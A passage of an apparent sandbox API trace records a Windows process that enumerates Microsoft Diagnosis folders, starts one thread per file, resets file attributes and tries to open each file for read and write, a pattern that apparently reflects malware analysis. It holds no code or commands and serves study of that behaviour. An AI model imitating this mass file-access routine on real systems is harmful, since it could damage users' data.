(_String1="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", _String2=".") returned 1 [0072.737] wcscmp (_String1="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", _String2="..") returned 1 [0072.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x136) returned 0x347d488 [0072.738] wcscpy (in: _Dest=0x347d488, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.738] wcscat (in: _Dest=0x347d488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.738] wcscat (in: _Dest=0x347d488, _Source="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" [0072.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0072.738] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json", cAlternateFileName="UTCAPP~1.JSO")) returned 1 [0072.738] wcscmp (_String1="utc.app.json", _String2=".") returned 1 [0072.738] wcscmp (_String1="utc.app.json", _String2="..") returned 1 [0072.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x347c3c0 [0072.738] wcscpy (in: _Dest=0x347c3c0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.739] wcscat (in: _Dest=0x347c3c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.739] wcscat (in: _Dest=0x347c3c0, _Source="utc.app.json" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" [0072.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c3c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0072.739] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json.bk", cAlternateFileName="UTCAPP~1.BK")) returned 1 [0072.739] wcscmp (_String1="utc.app.json.bk", _String2=".") returned 1 [0072.739] wcscmp (_String1="utc.app.json.bk", _String2="..") returned 1 [0072.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33ea9b0 [0072.739] wcscpy (in: _Dest=0x33ea9b0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.739] wcscat (in: _Dest=0x33ea9b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.739] wcscat (in: _Dest=0x33ea9b0, _Source="utc.app.json.bk" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" [0072.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ea9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0072.740] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 1 [0072.740] wcscmp (_String1="utc.cert.json", _String2=".") returned 1 [0072.740] wcscmp (_String1="utc.cert.json", _String2="..") returned 1 [0072.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bad8 [0072.740] wcscpy (in: _Dest=0x347bad8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0072.740] wcscat (in: _Dest=0x347bad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\" [0072.740] wcscat (in: _Dest=0x347bad8, _Source="utc.cert.json" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" [0072.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0072.741] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33ecf60 | out: lpFindFileData=0x33ecf60*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 0 [0072.741] FindClose (in: hFindFile=0x3434328 | out: hFindFile=0x3434328) returned 1 [0072.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ecf60) returned 1 [0072.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0072.742] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd170) returned 1 [0072.742] RtlExitUserThread (Status=0x0) Thread: id = 541 os_tid = 0x1110 [0072.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dd20 [0072.369] wcscpy (in: _Dest=0x347dd20, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" [0072.369] wcscat (in: _Dest=0x347dd20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\" [0072.369] wcscat (in: _Dest=0x347dd20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\*" [0072.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed1c8 [0072.369] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\*", lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434728 [0072.371] wcscmp (_String1=".", _String2=".") returned 0 [0072.371] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.371] wcscmp (_String1="..", _String2=".") returned 1 [0072.371] wcscmp (_String1="..", _String2="..") returned 0 [0072.373] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d5cadbc, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger", cAlternateFileName="AUTOLO~1")) returned 1 [0072.373] wcscmp (_String1="AutoLogger", _String2=".") returned 1 [0072.373] wcscmp (_String1="AutoLogger", _String2="..") returned 1 [0072.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd4f0 [0072.373] wcscpy (in: _Dest=0x33cd4f0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" [0072.373] wcscat (in: _Dest=0x33cd4f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\" [0072.373] wcscat (in: _Dest=0x33cd4f0, _Source="AutoLogger" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger" [0072.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0072.729] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScenarioShutdownLogger", cAlternateFileName="SCENAR~1")) returned 1 [0072.729] wcscmp (_String1="ScenarioShutdownLogger", _String2=".") returned 1 [0072.729] wcscmp (_String1="ScenarioShutdownLogger", _String2="..") returned 1 [0072.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347c328 [0072.729] wcscpy (in: _Dest=0x347c328, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" [0072.729] wcscat (in: _Dest=0x347c328, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\" [0072.729] wcscat (in: _Dest=0x347c328, _Source="ScenarioShutdownLogger" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger" [0072.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347c328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0072.731] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 1 [0072.731] wcscmp (_String1="ShutdownLogger", _String2=".") returned 1 [0072.731] wcscmp (_String1="ShutdownLogger", _String2="..") returned 1 [0072.731] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x33cfb48 [0072.731] wcscpy (in: _Dest=0x33cfb48, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" [0072.731] wcscat (in: _Dest=0x33cfb48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\" [0072.731] wcscat (in: _Dest=0x33cfb48, _Source="ShutdownLogger" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger" [0072.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cfb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0072.732] FindNextFileW (in: hFindFile=0x3434728, lpFindFileData=0x33ed1c8 | out: lpFindFileData=0x33ed1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 0 [0072.732] FindClose (in: hFindFile=0x3434728 | out: hFindFile=0x3434728) returned 1 [0072.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed1c8) returned 1 [0072.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd20) returned 1 [0072.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426ec8) returned 1 [0072.732] RtlExitUserThread (Status=0x0) Thread: id = 542 os_tid = 0x1114 [0072.390] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_costdeferred.rbs")) returned 0x20 [0072.390] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs", dwFileAttributes=0x20) returned 0 [0072.390] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_costdeferred.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.391] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs", dwFileAttributes=0x20) returned 0 [0072.391] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc760) returned 1 [0072.391] RtlExitUserThread (Status=0x0) Thread: id = 543 os_tid = 0x1118 [0072.397] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Normal.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_normal.rbs")) returned 0x20 [0072.397] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Normal.rbs", dwFileAttributes=0x20) returned 0 [0072.397] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Normal.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_normal.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.416] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Normal.rbs", dwFileAttributes=0x20) returned 0 [0072.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccaf0) returned 1 [0072.416] RtlExitUserThread (Status=0x0) Thread: id = 544 os_tid = 0x111c [0072.417] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_normalcritical.rbs")) returned 0x20 [0072.417] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs", dwFileAttributes=0x20) returned 0 [0072.418] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_normalcritical.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.418] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs", dwFileAttributes=0x20) returned 0 [0072.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2c30) returned 1 [0072.418] RtlExitUserThread (Status=0x0) Thread: id = 545 os_tid = 0x1120 [0072.419] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Realtime.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_realtime.rbs")) returned 0x20 [0072.421] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Realtime.rbs", dwFileAttributes=0x20) returned 0 [0072.421] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Realtime.rbs" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\events_realtime.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.421] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_Realtime.rbs", dwFileAttributes=0x20) returned 0 [0072.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd2f0) returned 1 [0072.421] RtlExitUserThread (Status=0x0) Thread: id = 546 os_tid = 0x1124 [0072.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33ccdf0 [0072.422] wcscpy (in: _Dest=0x33ccdf0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore" [0072.422] wcscat (in: _Dest=0x33ccdf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\" [0072.422] wcscat (in: _Dest=0x33ccdf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\*" [0072.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed430 [0072.422] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\LocalTraceStore\\*", lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0072.423] wcscmp (_String1=".", _String2=".") returned 0 [0072.423] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.423] wcscmp (_String1="..", _String2=".") returned 1 [0072.423] wcscmp (_String1="..", _String2="..") returned 0 [0072.423] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33ed430 | out: lpFindFileData=0x33ed430*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.423] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0072.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed430) returned 1 [0072.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccdf0) returned 1 [0072.424] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0072.424] RtlExitUserThread (Status=0x0) Thread: id = 547 os_tid = 0x1128 [0072.425] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\osver.txt")) returned 0x20 [0072.425] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt", dwFileAttributes=0x20) returned 0 [0072.425] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\osver.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.425] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt", dwFileAttributes=0x20) returned 0 [0072.425] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e6c0) returned 1 [0072.425] RtlExitUserThread (Status=0x0) Thread: id = 548 os_tid = 0x112c [0072.426] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\parse.dat")) returned 0x20 [0072.427] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat", dwFileAttributes=0x20) returned 0 [0072.427] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\parse.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.427] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat", dwFileAttributes=0x20) returned 0 [0072.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dcb0) returned 1 [0072.427] RtlExitUserThread (Status=0x0) Thread: id = 549 os_tid = 0x1130 [0072.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347dcb0 [0072.429] wcscpy (in: _Dest=0x347dcb0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload" [0072.429] wcscat (in: _Dest=0x347dcb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\" [0072.429] wcscat (in: _Dest=0x347dcb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\*" [0072.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed430 [0072.429] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Sideload\\*", lpFindFileData=0x33ed430 | out: 